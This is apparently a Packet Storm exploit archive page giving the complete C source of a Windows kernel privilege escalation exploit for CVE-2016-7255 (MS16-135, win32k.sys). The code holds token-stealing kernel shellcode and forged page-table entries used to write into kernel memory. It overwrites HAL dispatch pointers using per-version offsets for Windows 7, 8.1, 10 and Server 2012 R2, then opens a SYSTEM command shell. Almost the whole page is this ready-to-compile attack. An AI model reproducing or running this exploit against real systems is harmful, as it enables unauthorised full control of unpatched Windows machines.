exploit the possibilities

Microsoft Windows Kernel win32k.sys NtSetWindowLongPtr Privilege Escalation

Microsoft Windows Kernel win32k.sys NtSetWindowLongPtr Privilege Escalation
Posted Jan 12, 2017
Authored by Rick Larabee

Microsoft Windows kernel win32k.sys NtSetWindowLongPtr privilege escalation exploit that leverages the vulnerability outlined in MS16-135.

tags | exploit, kernel
systems | windows
advisories | CVE-2016-7255
MD5 | 13ff014602aa25a46fb4bd6101ed0674

Microsoft Windows Kernel win32k.sys NtSetWindowLongPtr Privilege Escalation

Change Mirror Download
// ricklarabee.blogspot.com

//This program is free software; you can redistribute it and/or
//modify it under the terms of the GNU General Public License
//as published by the Free Software Foundation.

//This program is distributed in the hope that it will be useful,
//but WITHOUT ANY WARRANTY; without even the implied warranty of
//MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
//GNU General Public License for more details.

//You should have received a copy of the GNU General Public License
//along with this program; if not, write to the Free Software
//Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.

// Credits: enrique.nissim@IOActive.com: https://github.com/IOActive/I-know-where-your-page-lives/tree/master/code/CVE-2016-7255
// PoC from https://github.com/tinysec/public/tree/master/CVE-2016-7255

#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib, "advapi32")

UINT64 PML4_BASE;
UINT PML4_SELF_REF_INDEX;
UINT64 PML4_SELF_REF = 0xFFFFF6FB7DBEDF68;

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define GET_INDEX(va) ( ((va >> 39) & 0x1ff ))

////////////////////////////////////////////////////////
// Define Data Types
////////////////////////////////////////////////////////
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
PVOID Unknown1;
PVOID Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);

typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource,
OUT PULONG Interval);

NtQuerySystemInformation_t NtQuerySystemInformation;
NtQueryIntervalProfile_t NtQueryIntervalProfile;

char shellcode[] = {
//0xcc,
0xfa, // CLI
0x9c, // PUSHFQ
0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RAX, Original Pointer
0x50, // PUSH RAX
0x51, // PUSH RCX
0x48, 0xb9, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RCX, [OverwriteAddr+OverwriteOffset]
0x48, 0x89, 0x01, // MOV QWORD PTR [RCX], RAX
0xb9, 0x90, 0x90, 0x90, 0x90, // MOV ECX, PID
0x53, // PUSH RBX

0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // MOV RAX,QWORD PTR gs:0x188
0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, // MOV RAX,QWORD PTR [RAX+0xb8] EPROCESS
0x48, 0x8d, 0x80, 0x90, 0x90, 0x00, 0x00, // LEA RAX,[RAX+0xActiveProcessLinkOffset]
//<tag>
0x48, 0x8b, 0x00, // MOV RAX,QWORD PTR [RAX]
0x48, 0x8b, 0x58, 0xf8, // MOV RBX,QWORD PTR [RAX-0x8] // UniqueProcessID
0x48, 0x83, 0xfb, 0x04, // CMP RBX,0x4
0x75, 0xf3, // JNE <tag>
0x48, 0x8b, 0x98, 0x90, 0x90, 0x90, 0x90, // MOV RBX, QWORD PTR [RAX+0x60] // GET TOKEN of SYSTEM

0x53, // PUSH RBX
//<tag2>
0x48, 0x8b, 0x00, // MOV RAX,QWORD PTR [RAX]
0x48, 0x8b, 0x58, 0xf8, // MOV RBX,QWORD PTR [RAX-0x8] // UniqueProcessID
0x39, 0xcb, // CMP EBX, ECX // our PID
0x75, 0xf5, // JNE <tag2>
0x5b, // POP RBX
0x48, 0x89, 0x98, 0x90, 0x90, 0x90, 0x90, // MOV QWORD PTR[RAX + 0x60], RBX

0x5b, // POP RBX
0x59, // POP RCX
0x58, // POP RAX
0x9d, // POPFQ

0xfb, // STI
0xff, 0xe0 // JMP RAX
};

ULONG __cdecl DbgPrint(__in char* Format, ...)
{
CHAR* pszDbgBuff = NULL;
va_list VaList = NULL;
ULONG ulRet = 0;

do
{
pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0, 1024 * sizeof(CHAR));
if (NULL == pszDbgBuff)
{
break;
}
RtlZeroMemory(pszDbgBuff, 1024 * sizeof(CHAR));

va_start(VaList, Format);

_vsnprintf((CHAR*)pszDbgBuff, 1024 - 1, Format, VaList);


OutputDebugStringA(pszDbgBuff);

va_end(VaList);

} while (FALSE);

if (NULL != pszDbgBuff)
{
HeapFree(GetProcessHeap(), 0, pszDbgBuff);
pszDbgBuff = NULL;
}

return ulRet;
}


int _sim_key_down(WORD wKey)
{
INPUT stInput = { 0 };

do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = 0;

SendInput(1, &stInput, sizeof(stInput));

} while (FALSE);

return 0;
}

int _sim_key_up(WORD wKey)
{
INPUT stInput = { 0 };

do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = KEYEVENTF_KEYUP;

SendInput(1, &stInput, sizeof(stInput));

} while (FALSE);

return 0;
}

int _sim_alt_shift_esc()
{
int i = 0;

do
{
_sim_key_down(VK_MENU);
_sim_key_down(VK_SHIFT);


_sim_key_down(VK_ESCAPE);
_sim_key_up(VK_ESCAPE);

_sim_key_down(VK_ESCAPE);
_sim_key_up(VK_ESCAPE);

_sim_key_up(VK_MENU);
_sim_key_up(VK_SHIFT);


} while (FALSE);

return 0;
}



int _sim_alt_shift_tab(int nCount)
{
int i = 0;
HWND hWnd = NULL;


int nFinalRet = -1;

do
{
_sim_key_down(VK_MENU);
_sim_key_down(VK_SHIFT);


for (i = 0; i < nCount; i++)
{
_sim_key_down(VK_TAB);
_sim_key_up(VK_TAB);

Sleep(1000);

}


_sim_key_up(VK_MENU);
_sim_key_up(VK_SHIFT);
} while (FALSE);

return nFinalRet;
}

int _sim_alt_esc(int count)
{
int i = 0;

for (i = 0; i<count; i++)
{
_sim_key_down(VK_MENU);
//_sim_key_down(VK_SHIFT);


_sim_key_down(VK_ESCAPE);
_sim_key_up(VK_ESCAPE);

_sim_key_down(VK_ESCAPE);
_sim_key_up(VK_ESCAPE);

_sim_key_up(VK_MENU);
//_sim_key_up(VK_SHIFT);

}

return 0;
}


int or_address_value_4(__in void* pAddress)
{
WNDCLASSEXW stWC = { 0 };

HWND hWndParent = NULL;
HWND hWndChild = NULL;

WCHAR* pszClassName = L"cve-2016-7255";
WCHAR* pszTitleName = L"cve-2016-7255";

void* pId = NULL;
MSG stMsg = { 0 };

UINT64 value = 0;

do
{

stWC.cbSize = sizeof(stWC);
stWC.lpfnWndProc = DefWindowProcW;
stWC.lpszClassName = pszClassName;

if (0 == RegisterClassExW(&stWC))
{
break;
}

hWndParent = CreateWindowExW(
0,
pszClassName,
NULL,
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
0,
0,
360,
360,
NULL,
NULL,
GetModuleHandleW(NULL),
NULL
);

if (NULL == hWndParent)
{
break;
}

hWndChild = CreateWindowExW(
0,
pszClassName,
pszTitleName,
WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD,
0,
0,
160,
160,
hWndParent,
NULL,
GetModuleHandleW(NULL),
NULL
);

if (NULL == hWndChild)
{
break;
}

#ifdef _WIN64
pId = ((UCHAR*)pAddress - 0x28);
#else
pId = ((UCHAR*)pAddress - 0x14);
#endif // #ifdef _WIN64

SetWindowLongPtr(hWndChild, GWLP_ID, (LONG_PTR)pId);

DbgPrint("hWndChild = 0x%p\n", hWndChild);

ShowWindow(hWndParent, SW_SHOWNORMAL);

SetParent(hWndChild, GetDesktopWindow());

SetForegroundWindow(hWndChild);

_sim_alt_shift_tab(4);

SwitchToThisWindow(hWndChild, TRUE);

_sim_alt_shift_esc();

while (GetMessage(&stMsg, NULL, 0, 0)) {

SetFocus(hWndParent);
_sim_alt_esc(20);
SetFocus(hWndChild);
_sim_alt_esc(20);

TranslateMessage(&stMsg);
DispatchMessage(&stMsg);

if (value != 0) {
break;
}


__try {
value = *(UINT64 *)PML4_SELF_REF;
if ((value & 0x67) == 0x67) {
printf("Value Self Ref = %llx\n", value);
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
continue;
}

}


} while (FALSE);

if (NULL != hWndParent)
{
DestroyWindow(hWndParent);
hWndParent = NULL;
}

if (NULL != hWndChild)
{
DestroyWindow(hWndChild);
hWndChild = NULL;
}

UnregisterClassW(pszClassName, GetModuleHandleW(NULL));

return 0;
}

UINT64 get_pxe_address(UINT64 address) {
UINT entry = PML4_SELF_REF_INDEX;
UINT64 result = address >> 9;
UINT64 lower_boundary = ((UINT64)0xFFFF << 48) | ((UINT64)entry << 39);
UINT64 upper_boundary = (((UINT64)0xFFFF << 48) | ((UINT64)entry << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8;
result = result | lower_boundary;
result = result & upper_boundary;
return result;
}

UINT64 look_free_entry_pml4(void) {
// Looks for a free pml4e in the last 0x100 bytes of the PML4
int offset = 0xF00;
UINT64 pml4_search = PML4_BASE + offset;
while (offset < 0xFF8)
{
if ((*(PVOID *)pml4_search) == 0x0)
{
// This is a NULL (free) entry
break;
}
offset += 8;
pml4_search = PML4_BASE + offset;
}
return pml4_search;
}

UINT64 calculate_spurious_pt_address(UINT64 spurious_offset) {
UINT64 index = (spurious_offset & 0xFFF) / 8;
UINT64 result = (
((UINT64)0xFFFF << 48) |
((UINT64)PML4_SELF_REF_INDEX << 39) |
((UINT64)PML4_SELF_REF_INDEX << 30) |
((UINT64)PML4_SELF_REF_INDEX << 21) |
(index << 12)
);
return result;
}



UINT64 create_spurious_pte_to_virtual_address(UINT64 virtual_address, BOOL patch_original) {

/*
1: kd> !pte ffffffff`ffd00000
VA ffffffffffd00000
PXE at FFFFF6FB7DBEDFF8 PPE at FFFFF6FB7DBFFFF8 PDE at FFFFF6FB7FFFFFF0 PTE at FFFFF6FFFFFFE800
contains 0000000000A1F063 contains 0000000000A20063 contains 0000000000A25063 contains 8000000000103963
pfn a1f-- - DA--KWEV pfn a20-- - DA--KWEV pfn a25-- - DA--KWEV pfn 103 - G - DA--KW - V
*/

UINT64 pte = get_pxe_address(virtual_address);
int pte_offset = pte & 0xFFF;
//printf("PTE: %llx, %x\n", pte, pte_offset);

UINT64 pde = get_pxe_address(pte);
int pde_offset = pde & 0xFFF;
//printf("PDE: %llx, %x\n", pde, pde_offset);

UINT64 pdpte = get_pxe_address(pde);
int pdpte_offset = pdpte & 0xFFF;
//printf("PDPTE: %llx,%x\n", pdpte, pdpte_offset);

UINT64 pml4e = get_pxe_address(pdpte);
int pml4e_offset = pml4e & 0xFFF;
//printf("PML4E: %llx\n", pml4e, pml4e_offset);

UINT64 spurious_offset = look_free_entry_pml4();
printf("[+] Selected spurious PML4E: %llx\n", spurious_offset);
UINT64 f_e_pml4 = spurious_offset;
UINT64 spurious_pt = calculate_spurious_pt_address(spurious_offset);
printf("[+] Spurious PT: %llx\n", spurious_pt);
printf("--------------------------------------------------\n\n");


//Read the physical address of pml4e
UINT64 pml4e_pfn = (UINT64)(*(PVOID *)pml4e);
printf("[+] Content pml4e %llx: %llx\n", pml4e, pml4e_pfn);
// Change the PxE
pml4e_pfn = pml4e_pfn | 0x67; // Set U/S

printf("[+] Patching the Spurious Offset (PML4e) %llx: %llx\n",f_e_pml4, pml4e_pfn);
*((PVOID *)spurious_offset) = (PVOID)pml4e_pfn;
Sleep(0x1); // Sleep for TLB refresh;

//Read the physical address of pdpte
UINT64 pdpte_pfn = (UINT64) *(PVOID *)(spurious_pt + pdpte_offset);
printf("[+] Content pdpte %llx: %llx\n", pdpte, pdpte_pfn);
// Change the PxE
pdpte_pfn = pdpte_pfn | 0x67; // Set U/S
printf("[+] Patching the Spurious Offset (PDPTE) %llx: %llx\n", spurious_offset, pdpte_pfn);
*((PVOID *)spurious_offset) = (PVOID)pdpte_pfn;
Sleep(0x1); // Sleep for TLB refresh;

//Read the physical address of pde
UINT64 pde_addr = spurious_pt + pde_offset;
UINT64 pde_pfn = (UINT64) *(PVOID *)(spurious_pt + pde_offset);
printf("[+] Content pdpe %llx: %llx\n", pde, pde_pfn);
// Change the PxE
pde_pfn = pde_pfn | 0x67; // Set U/S
printf("[+] Patching the Spurious Offset (PDE) %llx: %llx\n", spurious_offset, pde_pfn);
*((PVOID *)spurious_offset) = (PVOID)pde_pfn;
Sleep(0x1); // Sleep for TLB refresh;

//Read the physical address of pte
UINT64 pte_addr = spurious_pt + pte_offset;
UINT64 pte_pfn = (UINT64) *(PVOID *)(spurious_pt + pte_offset);
printf("[+] Content pte %llx: %llx\n", pte, pte_pfn);
// Change the PxE
pte_pfn = pte_pfn | 0x67; // Set U/S
pte_pfn = pte_pfn & 0x7fffffffffffffff; // Turn off NX
if (patch_original) {
printf("*** Patching the original location to enable NX...\n");
*(PVOID *)(spurious_pt + pte_offset) = (PVOID)pte_pfn;
}

printf("[+] Patching the Spurious Offset (PTE) %llx: %llx\n", spurious_offset, pte_pfn);
*((PVOID *)spurious_offset) = (PVOID)pte_pfn;
Sleep(0x1); // Sleep for TLB refresh;
printf("\n\n");
return spurious_pt;
}

UINT64 get_OverwriteAddress_pointer(UINT64 target_address, int target_offset) {
printf("[*] Getting Overwrite pointer: %llx\n", target_address);
UINT64 OverwriteAddress = create_spurious_pte_to_virtual_address(target_address, FALSE);
OverwriteAddress += (target_address & 0xFFF);
printf("OverwriteAddress: %llx\n", OverwriteAddress);
return (UINT64) *((PVOID *)(((char *)OverwriteAddress) + target_offset));
}

void overwrite_TargetAddress(UINT64 hook_address, UINT64 target_address, int target_offset) {
UINT64 OverwriteTarget = create_spurious_pte_to_virtual_address(target_address, FALSE);
OverwriteTarget += (target_address & 0xFFF);
UINT64 target = (UINT64)((char *)OverwriteTarget) + target_offset;
printf("Patch OverwriteTarget: %llx with %llx\n", target, hook_address);
*(PVOID *)target = (PVOID)hook_address;
}


UINT64 store_shellcode_in_hal(void) {
//// Finally store the shellcode on the HAL

UINT64 hal_heap_addr = 0xFFFFFFFFFFD00000;
UINT64 hal_heap = create_spurious_pte_to_virtual_address(hal_heap_addr, TRUE);

printf("HAL address: %llx\n", hal_heap);
// 0xffffffffffd00d50 this is a good offset to store shellcode
// 0xfff - 0xd50 = 0x2af space

memcpy(((char *)hal_heap) + 0xd50, shellcode, sizeof(shellcode));
return 0xffffffffffd00d50;
}

UINT64 GetHalDispatchTable() {
PCHAR KernelImage;
SIZE_T ReturnLength;
HMODULE hNtDll = NULL;
UINT64 HalDispatchTable;
HMODULE hKernelInUserMode = NULL;
PVOID KernelBaseAddressInKernelMode;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;

hNtDll = LoadLibrary("ntdll.dll");

if (!hNtDll) {
printf("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");

if (!NtQuerySystemInformation) {
printf("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);

// Allocate the Heap chunk
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
ReturnLength);

if (!pSystemModuleInformation) {
printf("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
pSystemModuleInformation,
ReturnLength,
&ReturnLength);

if (NtStatus != STATUS_SUCCESS) {
printf("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;

printf("\t\t\t[+] Loaded Kernel: %s\n", KernelImage);
printf("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode);

hKernelInUserMode = LoadLibraryA(KernelImage);

if (!hKernelInUserMode) {
printf("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

// This is still in user mode
HalDispatchTable = (UINT64)GetProcAddress(hKernelInUserMode, "HalDispatchTable");

if (!HalDispatchTable) {
printf("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
HalDispatchTable = (ULONGLONG)HalDispatchTable - (ULONGLONG)hKernelInUserMode;

// Here we get the address of HapDispatchTable in Kernel mode
HalDispatchTable = ((ULONGLONG)HalDispatchTable + (ULONGLONG)KernelBaseAddressInKernelMode);
printf("\t\t\t[+] HalDispatchTable: 0x%llx\n", HalDispatchTable);
}

HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);

if (hNtDll) {
FreeLibrary(hNtDll);
}

if (hKernelInUserMode) {
FreeLibrary(hKernelInUserMode);
}

hNtDll = NULL;
hKernelInUserMode = NULL;
pSystemModuleInformation = NULL;

return HalDispatchTable;
}

int __cdecl main(int argc, char** argv)
{
TCHAR pre_username[256];
TCHAR post_username[256];
DWORD size = 256;
ULONG Interval = 0;
HMODULE hNtDll = NULL;
UINT retval;
UINT64 overwrite_address;
int overwrite_offset;

// define operating system version specific variables
unsigned char sc_KPROCESS;
unsigned int sc_TOKEN;
unsigned int sc_APLINKS;
int osversion;

if (argc != 2) {
printf("Please enter an OS version\n");
printf("The following OS'es are supported:\n");
printf("\t[*] 7 - Windows 7\n");
printf("\t[*] 81 - Windows 8.1\n");
printf("\t[*] 10 - Windows 10 prior to build release 14393 (Anniversary Update)\n");
printf("\t[*] 12 - Windows 2012 R2\n");
printf("\n");
printf("\t[*] For example: cve-2016-7255.exe 7 -- for Windows 7\n");
return -1;
}

osversion = _strtoui64(argv[1], NULL, 10);

if(osversion == 7)
{
// the target machine's OS is Windows 7 SP1
printf(" [+] Windows 7 SP1\n");
sc_KPROCESS = 0x70; // dt -r1 nt!_KTHREAD +0x050 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
sc_TOKEN = 0x80; // dt -r1 nt!_EPROCESS [+0x208 Token : _EX_FAST_REF] - [+0x188 ActiveProcessLinks : _LIST_ENTRY] = (0x80)
sc_APLINKS = 0x188; // dt -r1 nt!_EPROCESS +0x188 ActiveProcessLinks : _LIST_ENTRY

overwrite_address = GetHalDispatchTable(); // HalDispatchTable
overwrite_offset = 0x8; // QueryIntervalProfile
}
else if(osversion == 81)
{
// the target machine's OS is Windows 8.1
printf(" [+] Windows 8.1\n");
sc_KPROCESS = 0xB8; // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
sc_TOKEN = 0x60; // dt -r1 nt!_EPROCESS [+0x348 Token : _EX_FAST_REF] - [+0x2e8 ActiveProcessLinks : _LIST_ENTRY] = (0x60)
sc_APLINKS = 0x2e8; // dt -r1 nt!_EPROCESS +0x2e8 ActiveProcessLinks : _LIST_ENTRY

overwrite_address = 0xffffffffffd00510; // HalpInterruptController_address (dq poi(hal!HalpInterruptController))
overwrite_offset = 0x78; // HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt)
}
else if(osversion == 10)
{
// the target machine's OS is Windows 10 prior to build 14393
printf(" [+] Windows 10\n");
sc_KPROCESS = 0xB8; // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
sc_TOKEN = 0x68; // dt -r1 nt!_EPROCESS [+0x358 Token : _EX_FAST_REF] - [+0x2f0 ActiveProcessLinks : _LIST_ENTRY] = (0x60)
sc_APLINKS = 0x2f0; // dt -r1 nt!_EPROCESS +0x2f0 ActiveProcessLinks : _LIST_ENTRY

overwrite_address = 0xffffffffffd004c0; // HalpInterruptController_address (dq poi(hal!HalpInterruptController)
overwrite_offset = 0x78; // HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt)
}
else if(osversion == 12)
{
// the target machine's OS is Windows 2012 R2
printf(" [+] Windows 2012 R2\n");
sc_KPROCESS = 0xB8; // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
sc_TOKEN = 0x60; // dt -r1 nt!_EPROCESS [+0x348 Token : _EX_FAST_REF] - [+0x2e8 ActiveProcessLinks : _LIST_ENTRY] = (0x60)
sc_APLINKS = 0x2e8; // dt -r1 nt!_EPROCESS +0x2e8 ActiveProcessLinks : _LIST_ENTRY

overwrite_address = 0xffffffffffd12c70; // HalpInterruptController_address (dq poi(hal!HalpInterruptController)
overwrite_offset = 0x78; // HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt)
}
// in case the OS version is not any of the previously checked versions
else
{
printf(" [-] Unsupported version\n");
printf(" [*] Affected 64-bit operating systems\n");
printf(" [*] Windows 7 SP1 -- cve-2016-7255.exe 7\n");
printf(" [*] Windows 8.1 -- cve-2016-7255.exe 81\n");
printf(" [*] Windows 10 before build 14393 -- cve-2016-7255.exe 10\n");
printf(" [*] Windows 2012 R2 -- cve-2016-7255.exe 12\n");
return -1;
}

printf("My PID is: %d\n", GetCurrentProcessId());
GetUserName(pre_username, &size);
printf("Current Username: %s\n", pre_username);
printf("PML4 Self Ref: %llx\n", PML4_SELF_REF);
printf("Shellcode stored at: %p\n", (void *) &shellcode);
printf("Enter to continue...\n");
getchar();

do
{
or_address_value_4((void*)PML4_SELF_REF);
} while (FALSE);

PML4_SELF_REF_INDEX = GET_INDEX((UINT64)PML4_SELF_REF);
printf("[*] Self Ref Index: %x\n", PML4_SELF_REF_INDEX);
PML4_BASE = ((UINT64)PML4_SELF_REF & (UINT64)0xFFFFFFFFFFFFF000);

UINT64 original_pointer = get_OverwriteAddress_pointer(overwrite_address, overwrite_offset);

printf("Original OverwriteTarget pointer: %llx\n", original_pointer);
DWORD pid = GetCurrentProcessId();

/* Shellcode Patching !! */
char *p = shellcode;
p += 4; // skip the CLI, PUSHF and MOV RAX bytes
*(PVOID *)p = (PVOID)original_pointer; // Patch shellcode1

p += 12; // Patch shellcode with original value in the Overwrite address
*(PVOID *)p = (PVOID)(overwrite_address + overwrite_offset);

p += 12; // To patch the PID of our process

*(DWORD *)p = (DWORD)pid;

p += 17;
*(unsigned char *)p = (unsigned char)sc_KPROCESS;

p += 7;
*(unsigned int *)p = (unsigned int)sc_APLINKS;

p += 20;
*(unsigned int *)p = (unsigned int)sc_TOKEN;

p += 20;
*(unsigned int *)p = (unsigned int)sc_TOKEN;

UINT64 shellcode_va = store_shellcode_in_hal();
printf("[+] w00t: Shellcode stored at: %llx\n", shellcode_va);
overwrite_TargetAddress(shellcode_va, overwrite_address, overwrite_offset);

if (osversion == 7){
// Exploit Win7.1
hNtDll = LoadLibrary("ntdll.dll");

if (!hNtDll) {
printf("\t\t[-] Failed loading NtDll: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");

if (!NtQueryIntervalProfile) {
printf("\t\t[-] Failed Resolving NtQueryIntervalProfile: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtQueryIntervalProfile(0x1337, &Interval);
}


while (1) {
size = 256;
GetUserName(post_username, &size);
if (memcmp(post_username, pre_username, 256) != 0) break;
}
Sleep(2000);
system("cmd.exe");


return 0;
}

Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close